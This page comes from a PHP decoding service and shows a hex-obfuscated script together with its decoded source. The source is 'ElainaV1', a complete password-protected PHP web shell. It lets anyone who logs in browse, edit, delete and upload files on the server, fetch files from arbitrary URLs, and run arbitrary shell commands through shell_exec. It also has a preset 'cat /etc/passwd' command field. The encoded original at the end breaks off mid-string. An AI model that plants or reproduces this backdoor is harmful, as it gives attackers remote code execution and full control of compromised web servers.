Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$script = "\x3C\x3F\x70\x68\x70\x0A\x73\x65\x73\x73\x69\x6F\x6E\x5F\x73\x74\x61\x72\x74\x2..

Decoded Output download

<?  $script = "<?php
session_start();
$stored_hashed_password = '$2a$12$mGOsJcNQS.InQGawGJXovO/7qe9/ZSyEjoqFw/ruDfSw.ovn7D6xa';
if (!isset($_SESSION['authenticated'])) {
    if (isset($_POST['pass']) && password_verify($_POST['pass'], $stored_hashed_password)) {
        $_SESSION['authenticated'] = true;
    } else {
        show_login_page();
    }
}

function show_login_page($message = "") {
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Login</title>
    </head>
    <body>
        <form action="" method="post">
            <div align="center">
                <input type="password" name="pass" placeholder="&nbsp;Password">
                <input type="submit" name="submit" value="Login">
            </div>
        </form>
        <?php echo $message; ?>
    </body>
    </html>
    <?php
    exit;
}
?>
<?php
$host = $_SERVER['HTTP_HOST'];
$additional_title = "ElainaV1";
function generateDirectoryLinks($dir) {
    $dir = str_replace("\", "/", $dir);
    $dirs = explode("/", $dir);
    $links = '';
    foreach ($dirs as $key => $value) {
        if ($value == "" && $key == 0){
            $links .= '<i class="fa fa-folder-o"></i> : <a href="/"><font color="#FF1493">/</a>';
            continue;
        }
        $links .= '<a href="?dir=';
        for ($i=0; $i <= $key ; $i++) {
            $links .= "$dirs[$i]";
            if ($key !== $i) $links .= "/";
        }
        $links .= '">'.$value.'</a>/';
    }

    return $links;
}
function showFiles($dir) {
    $scan = @scandir($dir); // Use @ to suppress warnings

    if ($scan === false) {
        echo "<tr><td colspan='4'>Error: Unable to scan directory.</td></tr>";
        return;
    }

    // Pisahkan folder dan file
    $folders = array();
    $files = array();

    foreach ($scan as $item) {
        if ($item == '.' || $item == '..') continue;

        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            $folders[] = $item;
        } else {
            $files[] = $item;
        }
    }

    // Tampilkan folder terlebih dahulu, kemudian file
    foreach ($folders as $item) {
        $path = $dir . '/' . $item;
        $size = '--'; // Ukuran tidak berlaku untuk folder
        $permission = substr(sprintf('%o', fileperms($path)), -4); // Get last 4 characters of permission
        $action = generateFolderActions($dir, $path);

        echo "<tr>
                <td><a href=\"?dir=".urlencode($path)."\">" . $item . "</a></td>
                <td><center>$size</center></td>
                <td><center>$permission</center></td>
                <td><center>$action</center></td>
              </tr>";
    }

    foreach ($files as $item) {
        $path = $dir . '/' . $item;
        $size = formatSize(@filesize($path)); // Use @ to suppress warnings
        $permission = substr(sprintf('%o', fileperms($path)), -4); // Get last 4 characters of permission
        $action = generateFileActions($dir, $path, $item, $permission);

        echo "<tr>
                <td><a href=\"?dir=".urlencode($path)."\">" . $item . "</a></td>
                <td><center>$size</center></td>
                <td><center>$permission</center></td>
                <td><center>$action</center></td>
              </tr>";
    }
}
function uploadFileFromUrl($url, $dir) {
    $fileName = basename($url);
    $filePath = $dir . '/' . $fileName;
    $content = file_get_contents($url);
    if ($content === false) {
        echo "<script>alert('Failed to fetch file content from URL!');</script>";
        return;
    }
    if (file_put_contents($filePath, $content) !== false) {
        echo "<script>alert('File uploaded successfully!'); window.location='?dir=".$dir."';</script>";
    } else {
        echo "<script>alert('Failed to upload file!');</script>";
    }
}




function formatSize($bytes) {
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= (1 << (10 * $pow));
    return round($bytes, 2) . ' ' . $units[$pow];
}

function generateFileActions($dir, $path, $item, $permission) {
    return '<a href="?dir='.$dir.'&open='.$path.'" class="button">Edit</a>
            <a href="?dir='.$dir.'&delete='.$path.'" class="button2">Delete</a>
            <a href="?dir='.$dir.'&rename='.$path.'" class="button">Rename</a>';
}

function createFileForm($dir) {
    echo "<br><br><center>
        <form method='post'>
            Create File :
            <input type='text' name='filename' placeholder='File Name'>
            <br>
            <textarea name='filecontent' placeholder='File Content'></textarea>
            <input type='submit' name='addfile' value='Create File'>
        </form><br></center>";
}

function generateFolderActions($dir, $path) {
    return '<a href="?dir='.$dir.'&delete='.$path.'" class="button2">Delete</a>
            <a href="?dir='.$dir.'&rename='.$path.'" class="button">Rename</a>';
}

function renameFile($dir) {
    if (isset($_GET['rename'])) {
        echo '<br><br><center><form method="post">
                New Name: <input type="text" name="newname" value="'.basename($_GET['rename']).'">
                <input type="submit" name="rename" value="Rename">
              </form></center>';

        if (isset($_POST['rename'])) {
            $oldname = $_GET['rename'];
            $newname = dirname($oldname) . '/' . $_POST['newname'];
            if (rename($oldname, $newname)) {
                echo "<script>alert('File renamed successfully!'); window.location='?dir=".$dir."';</script>";
            } else {
                echo "<script>alert('Failed to rename file!');</script>";
            }
        }
    }
}

function deleteFolder($dir) {
    if (isset($_GET['deletefolder'])) {
        $folderToDelete = $_GET['deletefolder'];
        
        // Periksa apakah folder kosong
        if (!is_dirEmpty($folderToDelete)) {
            echo "<script>alert('Folder is not empty!');</script>";
            return;
        }

        // Hapus folder jika kosong
        if (rmdir($folderToDelete)) {
            echo "<script>alert('Folder deleted successfully!'); window.location='?dir=".urlencode($dir)."';</script>";
        } else {
            echo "<script>alert('Failed to delete folder!');</script>";
        }
    }
}

// Fungsi untuk memeriksa apakah sebuah folder kosong
function is_dirEmpty($dir) {
    if (!is_readable($dir)) return NULL;
    return (count(scandir($dir)) == 2);
}


function createFile($dir) {
    if (isset($_POST['addfile'])) {
        $filename = $_POST['filename'];
        $filecontent = $_POST['filecontent'];
        $filepath = $dir . '/' . $filename;

        if (file_exists($filepath)) {
            echo "<script>alert('File already exists!');</script>";
        } else {
            if (file_put_contents($filepath, $filecontent) !== false) {
                echo "<script>alert('File created successfully!'); window.location='?dir=".$dir."';</script>";
            } else {
                echo "<script>alert('Failed to create file!');</script>";
            }
        }
    }
}

function createFolderForm($dir) {
    echo "<br><form method='post'>
            <input type='text' name='okfolder' placeholder='Folder Name'>
            <input type='submit' name='addfolder' value='>'>
        </form><br>";
}

function createFolder($dir) {
    if(isset($_POST['addfolder'])){
        $newFolderName = isset($_POST['okfolder']) ? $_POST['okfolder'] : '';
        if(!empty($newFolderName)){
            $newFolderPath = $dir . '/' . $newFolderName;
            if(mkdir($newFolderPath, 0777)){
                echo "<script>alert('Folder created successfully!'); window.location='?dir=".$dir."';</script>";
            } else {
                echo "<script>alert('Failed to create folder!');</script>";
            }
        } else {
            echo "<script>alert('Folder name cannot be empty!');</script>";
        }
    }
}

function deleteFile($dir) {
    if (isset($_GET['delete'])) {
        $fileToDelete = $_GET['delete'];
        if (unlink($fileToDelete)) {
            echo "<script>alert('File deleted successfully!'); window.location='?dir=".$dir."';</script>";
        } else {
            echo "<script>alert('Failed to delete file!');</script>";
        }
    }
}

// Handle edit file request
function editFile($dir) {
    if (isset($_GET['open'])) {
        $filePath = $_GET['open'];
        if (isset($_POST['edit'])) {
            $content = $_POST['edit'];
            if (file_put_contents($filePath, $content) !== false) {
                echo "<script>alert('File edited successfully!'); window.location='?dir=".$dir."';</script>";
            } else {
                echo "<script>alert('Failed to edit file!');</script>";
            }
        } else {
            echo '
            <br />
            <style>
                table {
                    display: none;
                }
            </style>
            <form method="post">
                <textarea name="edit">'.htmlspecialchars(file_get_contents($filePath)).'</textarea>
                <input type="submit" name="save" value="Save">
            </form>
            ';
        }
    }
}

function runShellCommand($command) {
    // Jalankan perintah shell
    $output = shell_exec($command);

    // Tampilkan hasilnya
    echo "<br><br><textarea style='width: 100%; height: 200px;'>$output</textarea>";
}

$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
if (isset($_POST['uploadurl'])) {
    $url = $_POST['url'];
    uploadFileFromUrl($url, $dir);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $host . " - " . $additional_title; ?></title>
    <style>
        body {
            background-image: url('https://i.ibb.co/HgP6MPc/24903e950a0bfde6b3e1261226e9ecf0d772b73d-removebg-preview-1.png'); /* Ganti path/to/your/image.jpg dengan path gambar Anda */
            background-size: cover;
            background-repeat: no-repeat;
            background-color: black;
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
        }
        .container {
            max-width: 1500px;
            margin: 20px auto;
            padding: 20px;
            background-color: rgba(0, 0, 0, 0.5); /* Latar belakang hitam dengan 50% transparansi */
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
        }
        h1 {
            color: #333;
            text-align: center;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
        }
        th, td {
            border: 1px solid #ddd;
            padding: 10px;
            text-align: left;
        }
        th {
            background-color: #f2f2f2;
        }
        .button {
            background-color: #007bff;
            color: #fff;
            border: none;
            border-radius: 4px;
            padding: 8px 16px;
            text-decoration: none;
            cursor: pointer;
            margin-right: 10px;
            display: inline-block;
            text-align: center;
        }
        .button:hover {
            background-color: #0056b3;
        }
        .button1 {
            background-color: #e8f002;
            color: #fff;
            border: none;
            border-radius: 4px;
            padding: 8px 16px;
            text-decoration: none;
            cursor: pointer;
            margin-right: 10px;
            display: inline-block;
            text-align: center;
        }
        .button1:hover {
            background-color: #218838;
        }
        .button2 {
            background-color: #dc3545;
            color: #fff;
            border: none;
            border-radius: 4px;
            padding: 8px 16px;
            text-decoration: none;
            cursor: pointer;
            margin-right: 10px;
            display: inline-block;
            text-align: center;
        }
        .button2:hover {
            background-color: #c82333;
        }
        footer {
            text-align: center; /* Teks berada di tengah */
        }
    </style>
</head>
<body>
    <!-- Konten body -->
    <div class="container">
        <h1><?php echo $host . " - " . $additional_title; ?></h1>
       
<?php

?>
        <?php
        echo generateDirectoryLinks($dir);
        
        echo "</font>";
        echo "[<a href='?'> Home </a>]";
        echo "<br>";
        echo "<div style='text-align: right;'><a href='?dir=$dir&wibu=createfile' class='button1'>Create File</a></div>";
        echo '<form method="post">
        <input type="text" name="url" placeholder="Enter URL...">
        <input type="submit" name="uploadurl" value="Upload from URL">
    </form>';
        echo' <form enctype="multipart/form-data" method="post">
        <input type="file" name="upfile">
        <input type="submit" name="up" value="Uploaded ! ">
        </form>';

    if(isset($_POST['up'])){
        $uploadfile = $_FILES['upfile']['name'];
    if(move_uploaded_file
    ($_FILES['upfile']['tmp_name'],$dir.'/'.$_FILES['upfile']['name'])){
    echo"<br>File was successfully uploaded ! ";
    }
    else {
        echo "<br>Upload failed ! ";
        
        } 
        
    }
        echo "<table>
                <tr>
                    <th>Nama File / Folder</th>
                    <th>Size</th>
                    <th>permission</th>
                    <th>Action</th>
                </tr>";
        showFiles($dir);
        echo "</table>";

        if (isset($_GET['wibu']) && $_GET['wibu'] == 'createfile') {
            createFileForm($dir);
        }

        createFolder($dir);
        createFile($dir);
        deleteFile($dir);
        renameFile($dir);
        editFile($dir);
        echo createFolderForm($dir);
        ?>
        <br>
        <center>
        <h1>Execution</h1>
        
        <form method="GET">
            <input type="text" name="cmd" placeholder="Enter command...">
            <button type="submit">></button>
        </form>
        
        <?php
        if (isset($_GET['cmd'])) {
            $command = $_GET['cmd'];
            runShellCommand($command);
        }
        ?> 
        <div style='text-align: right;'>
        <form method="GET">
        <input type="text" name="etc" value="cat /etc/passwd">
        <button type="submit">></button>
        </form>
    </div>

        <?php
        if (isset($_GET['etc'])) {
            $command = $_GET['etc'];
            runShellCommand($command);
        }
        ?>
    <footer>
        <p>&copy; 2024 - Lutfifakee768</p>
</footer>
    </div>
</body>
</html>
"; 
$temp_file = tempnam(sys_get_temp_dir(), 'script_'); 
file_put_contents($temp_file, $script); 
include $temp_file; 
unlink($temp_file); ?>

Did this file decode correctly?

Original Code

$script = "\x3C\x3F\x70\x68\x70\x0A\x73\x65\x73\x73\x69\x6F\x6E\x5F\x73\x74\x61\x72\x74\x28\x29\x3B\x0A\x24\x73\x74\x6F\x72\x65\x64\x5F\x68\x61\x73\x68\x65\x64\x5F\x70\x61\x73\x73\x77\x6F\x72\x64\x20\x3D\x20\x27\x24\x32\x61\x24\x31\x32\x24\x6D\x47\x4F\x73\x4A\x63\x4E\x51\x53\x2E\x49\x6E\x51\x47\x61\x77\x47\x4A\x58\x6F\x76\x4F\x2F\x37\x71\x65\x39\x2F\x5A\x53\x79\x45\x6A\x6F\x71\x46\x77\x2F\x72\x75\x44\x66\x53\x77\x2E\x6F\x76\x6E\x37\x44\x36\x78\x61\x27\x3B\x0A\x69\x66\x20\x28\x21\x69\x73\x73\x65\x74\x28\x24\x5F\x53\x45\x53\x53\x49\x4F\x4E\x5B\x27\x61\x75\x74\x68\x65\x6E\x74\x69\x63\x61\x74\x65\x64\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x70\x61\x73\x73\x27\x5D\x29\x20\x26\x26\x20\x70\x61\x73\x73\x77\x6F\x72\x64\x5F\x76\x65\x72\x69\x66\x79\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x70\x61\x73\x73\x27\x5D\x2C\x20\x24\x73\x74\x6F\x72\x65\x64\x5F\x68\x61\x73\x68\x65\x64\x5F\x70\x61\x73\x73\x77\x6F\x72\x64\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x5F\x53\x45\x53\x53\x49\x4F\x4E\x5B\x27\x61\x75\x74\x68\x65\x6E\x74\x69\x63\x61\x74\x65\x64\x27\x5D\x20\x3D\x20\x74\x72\x75\x65\x3B\x0A\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x73\x68\x6F\x77\x5F\x6C\x6F\x67\x69\x6E\x5F\x70\x61\x67\x65\x28\x29\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x73\x68\x6F\x77\x5F\x6C\x6F\x67\x69\x6E\x5F\x70\x61\x67\x65\x28\x24\x6D\x65\x73\x73\x61\x67\x65\x20\x3D\x20\x22\x22\x29\x20\x7B\x0A\x20\x20\x20\x20\x3F\x3E\x0A\x20\x20\x20\x20\x3C\x21\x44\x4F\x43\x54\x59\x50\x45\x20\x68\x74\x6D\x6C\x3E\x0A\x20\x20\x20\x20\x3C\x68\x74\x6D\x6C\x20\x6C\x61\x6E\x67\x3D\x22\x65\x6E\x22\x3E\x0A\x20\x20\x20\x20\x3C\x68\x65\x61\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6D\x65\x74\x61\x20\x63\x68\x61\x72\x73\x65\x74\x3D\x22\x55\x54\x46\x2D\x38\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6D\x65\x74\x61\x20\x68\x74\x74\x70\x2D\x65\x71\x75\x69\x76\x3D\x22\x58\x2D\x55\x41\x2D\x43\x6F\x6D\x70\x61\x74\x69\x62\x6C\x65\x22\x20\x63\x6F\x6E\x74\x65\x6E\x74\x3D\x22\x49\x45\x3D\x65\x64\x67\x65\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6D\x65\x74\x61\x20\x6E\x61\x6D\x65\x3D\x22\x76\x69\x65\x77\x70\x6F\x72\x74\x22\x20\x63\x6F\x6E\x74\x65\x6E\x74\x3D\x22\x77\x69\x64\x74\x68\x3D\x64\x65\x76\x69\x63\x65\x2D\x77\x69\x64\x74\x68\x2C\x20\x69\x6E\x69\x74\x69\x61\x6C\x2D\x73\x63\x61\x6C\x65\x3D\x31\x2E\x30\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x69\x74\x6C\x65\x3E\x4C\x6F\x67\x69\x6E\x3C\x2F\x74\x69\x74\x6C\x65\x3E\x0A\x20\x20\x20\x20\x3C\x2F\x68\x65\x61\x64\x3E\x0A\x20\x20\x20\x20\x3C\x62\x6F\x64\x79\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x6F\x72\x6D\x20\x61\x63\x74\x69\x6F\x6E\x3D\x22\x22\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x70\x6F\x73\x74\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x64\x69\x76\x20\x61\x6C\x69\x67\x6E\x3D\x22\x63\x65\x6E\x74\x65\x72\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x70\x61\x73\x73\x77\x6F\x72\x64\x22\x20\x6E\x61\x6D\x65\x3D\x22\x70\x61\x73\x73\x22\x20\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x3D\x22\x26\x6E\x62\x73\x70\x3B\x50\x61\x73\x73\x77\x6F\x72\x64\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x4C\x6F\x67\x69\x6E\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x64\x69\x76\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x3F\x70\x68\x70\x20\x65\x63\x68\x6F\x20\x24\x6D\x65\x73\x73\x61\x67\x65\x3B\x20\x3F\x3E\x0A\x20\x20\x20\x20\x3C\x2F\x62\x6F\x64\x79\x3E\x0A\x20\x20\x20\x20\x3C\x2F\x68\x74\x6D\x6C\x3E\x0A\x20\x20\x20\x20\x3C\x3F\x70\x68\x70\x0A\x20\x20\x20\x20\x65\x78\x69\x74\x3B\x0A\x7D\x0A\x3F\x3E\x0A\x3C\x3F\x70\x68\x70\x0A\x24\x68\x6F\x73\x74\x20\x3D\x20\x24\x5F\x53\x45\x52\x56\x45\x52\x5B\x27\x48\x54\x54\x50\x5F\x48\x4F\x53\x54\x27\x5D\x3B\x0A\x24\x61\x64\x64\x69\x74\x69\x6F\x6E\x61\x6C\x5F\x74\x69\x74\x6C\x65\x20\x3D\x20\x22\x45\x6C\x61\x69\x6E\x61\x56\x31\x22\x3B\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x67\x65\x6E\x65\x72\x61\x74\x65\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x4C\x69\x6E\x6B\x73\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x24\x64\x69\x72\x20\x3D\x20\x73\x74\x72\x5F\x72\x65\x70\x6C\x61\x63\x65\x28\x22\x5C\x5C\x22\x2C\x20\x22\x2F\x22\x2C\x20\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x24\x64\x69\x72\x73\x20\x3D\x20\x65\x78\x70\x6C\x6F\x64\x65\x28\x22\x2F\x22\x2C\x20\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x24\x6C\x69\x6E\x6B\x73\x20\x3D\x20\x27\x27\x3B\x0A\x20\x20\x20\x20\x66\x6F\x72\x65\x61\x63\x68\x20\x28\x24\x64\x69\x72\x73\x20\x61\x73\x20\x24\x6B\x65\x79\x20\x3D\x3E\x20\x24\x76\x61\x6C\x75\x65\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x24\x76\x61\x6C\x75\x65\x20\x3D\x3D\x20\x22\x22\x20\x26\x26\x20\x24\x6B\x65\x79\x20\x3D\x3D\x20\x30\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6C\x69\x6E\x6B\x73\x20\x2E\x3D\x20\x27\x3C\x69\x20\x63\x6C\x61\x73\x73\x3D\x22\x66\x61\x20\x66\x61\x2D\x66\x6F\x6C\x64\x65\x72\x2D\x6F\x22\x3E\x3C\x2F\x69\x3E\x20\x3A\x20\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x2F\x22\x3E\x3C\x66\x6F\x6E\x74\x20\x63\x6F\x6C\x6F\x72\x3D\x22\x23\x46\x46\x31\x34\x39\x33\x22\x3E\x2F\x3C\x2F\x61\x3E\x27\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x6F\x6E\x74\x69\x6E\x75\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6C\x69\x6E\x6B\x73\x20\x2E\x3D\x20\x27\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x3F\x64\x69\x72\x3D\x27\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6F\x72\x20\x28\x24\x69\x3D\x30\x3B\x20\x24\x69\x20\x3C\x3D\x20\x24\x6B\x65\x79\x20\x3B\x20\x24\x69\x2B\x2B\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6C\x69\x6E\x6B\x73\x20\x2E\x3D\x20\x22\x24\x64\x69\x72\x73\x5B\x24\x69\x5D\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x24\x6B\x65\x79\x20\x21\x3D\x3D\x20\x24\x69\x29\x20\x24\x6C\x69\x6E\x6B\x73\x20\x2E\x3D\x20\x22\x2F\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6C\x69\x6E\x6B\x73\x20\x2E\x3D\x20\x27\x22\x3E\x27\x2E\x24\x76\x61\x6C\x75\x65\x2E\x27\x3C\x2F\x61\x3E\x2F\x27\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x0A\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x20\x24\x6C\x69\x6E\x6B\x73\x3B\x0A\x7D\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x73\x68\x6F\x77\x46\x69\x6C\x65\x73\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x24\x73\x63\x61\x6E\x20\x3D\x20\x40\x73\x63\x61\x6E\x64\x69\x72\x28\x24\x64\x69\x72\x29\x3B\x20\x2F\x2F\x20\x55\x73\x65\x20\x40\x20\x74\x6F\x20\x73\x75\x70\x70\x72\x65\x73\x73\x20\x77\x61\x72\x6E\x69\x6E\x67\x73\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x24\x73\x63\x61\x6E\x20\x3D\x3D\x3D\x20\x66\x61\x6C\x73\x65\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x74\x72\x3E\x3C\x74\x64\x20\x63\x6F\x6C\x73\x70\x61\x6E\x3D\x27\x34\x27\x3E\x45\x72\x72\x6F\x72\x3A\x20\x55\x6E\x61\x62\x6C\x65\x20\x74\x6F\x20\x73\x63\x61\x6E\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x79\x2E\x3C\x2F\x74\x64\x3E\x3C\x2F\x74\x72\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x0A\x20\x20\x20\x20\x2F\x2F\x20\x50\x69\x73\x61\x68\x6B\x61\x6E\x20\x66\x6F\x6C\x64\x65\x72\x20\x64\x61\x6E\x20\x66\x69\x6C\x65\x0A\x20\x20\x20\x20\x24\x66\x6F\x6C\x64\x65\x72\x73\x20\x3D\x20\x61\x72\x72\x61\x79\x28\x29\x3B\x0A\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x73\x20\x3D\x20\x61\x72\x72\x61\x79\x28\x29\x3B\x0A\x0A\x20\x20\x20\x20\x66\x6F\x72\x65\x61\x63\x68\x20\x28\x24\x73\x63\x61\x6E\x20\x61\x73\x20\x24\x69\x74\x65\x6D\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x24\x69\x74\x65\x6D\x20\x3D\x3D\x20\x27\x2E\x27\x20\x7C\x7C\x20\x24\x69\x74\x65\x6D\x20\x3D\x3D\x20\x27\x2E\x2E\x27\x29\x20\x63\x6F\x6E\x74\x69\x6E\x75\x65\x3B\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x70\x61\x74\x68\x20\x3D\x20\x24\x64\x69\x72\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x69\x74\x65\x6D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x5F\x64\x69\x72\x28\x24\x70\x61\x74\x68\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x6F\x6C\x64\x65\x72\x73\x5B\x5D\x20\x3D\x20\x24\x69\x74\x65\x6D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x73\x5B\x5D\x20\x3D\x20\x24\x69\x74\x65\x6D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x0A\x20\x20\x20\x20\x2F\x2F\x20\x54\x61\x6D\x70\x69\x6C\x6B\x61\x6E\x20\x66\x6F\x6C\x64\x65\x72\x20\x74\x65\x72\x6C\x65\x62\x69\x68\x20\x64\x61\x68\x75\x6C\x75\x2C\x20\x6B\x65\x6D\x75\x64\x69\x61\x6E\x20\x66\x69\x6C\x65\x0A\x20\x20\x20\x20\x66\x6F\x72\x65\x61\x63\x68\x20\x28\x24\x66\x6F\x6C\x64\x65\x72\x73\x20\x61\x73\x20\x24\x69\x74\x65\x6D\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x70\x61\x74\x68\x20\x3D\x20\x24\x64\x69\x72\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x69\x74\x65\x6D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x73\x69\x7A\x65\x20\x3D\x20\x27\x2D\x2D\x27\x3B\x20\x2F\x2F\x20\x55\x6B\x75\x72\x61\x6E\x20\x74\x69\x64\x61\x6B\x20\x62\x65\x72\x6C\x61\x6B\x75\x20\x75\x6E\x74\x75\x6B\x20\x66\x6F\x6C\x64\x65\x72\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x20\x3D\x20\x73\x75\x62\x73\x74\x72\x28\x73\x70\x72\x69\x6E\x74\x66\x28\x27\x25\x6F\x27\x2C\x20\x66\x69\x6C\x65\x70\x65\x72\x6D\x73\x28\x24\x70\x61\x74\x68\x29\x29\x2C\x20\x2D\x34\x29\x3B\x20\x2F\x2F\x20\x47\x65\x74\x20\x6C\x61\x73\x74\x20\x34\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73\x20\x6F\x66\x20\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x61\x63\x74\x69\x6F\x6E\x20\x3D\x20\x67\x65\x6E\x65\x72\x61\x74\x65\x46\x6F\x6C\x64\x65\x72\x41\x63\x74\x69\x6F\x6E\x73\x28\x24\x64\x69\x72\x2C\x20\x24\x70\x61\x74\x68\x29\x3B\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x74\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x5C\x22\x3F\x64\x69\x72\x3D\x22\x2E\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x28\x24\x70\x61\x74\x68\x29\x2E\x22\x5C\x22\x3E\x22\x20\x2E\x20\x24\x69\x74\x65\x6D\x20\x2E\x20\x22\x3C\x2F\x61\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x24\x73\x69\x7A\x65\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x24\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x63\x65\x6E\x